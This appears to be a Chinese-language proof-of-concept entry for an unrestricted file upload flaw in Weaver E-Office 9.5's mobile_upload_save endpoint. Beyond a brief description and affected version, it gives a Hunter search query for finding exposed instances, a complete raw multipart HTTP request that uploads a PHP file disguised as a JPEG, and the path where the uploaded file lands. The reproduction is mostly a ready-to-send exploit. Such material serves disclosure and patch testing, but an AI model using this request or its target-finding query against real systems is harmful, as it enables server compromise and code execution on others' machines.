泛微E-Office mobile_upload_save存在任意文件上传漏洞
一、漏洞简介
泛微 E-Office是中国泛微科技（Weaver）公司的一个协同办公系统。泛微 E-Office 9.5版本存在代码问题漏洞，该漏洞源于App/Ajax/ajax.php?action=mobile_upload_save 存在未知函数，通过参数 upload_quwan 导致不受限制的上传。
二、影响版本
- 泛微 E-Office 9.5
三、资产测绘
- hunter
app.name="泛微 e-office OA" - 特征
四、漏洞复现
POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="upload_quwan"; filename="1.php."
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--
根据响应得到上传文件位置
/attachment/3042759248/1.php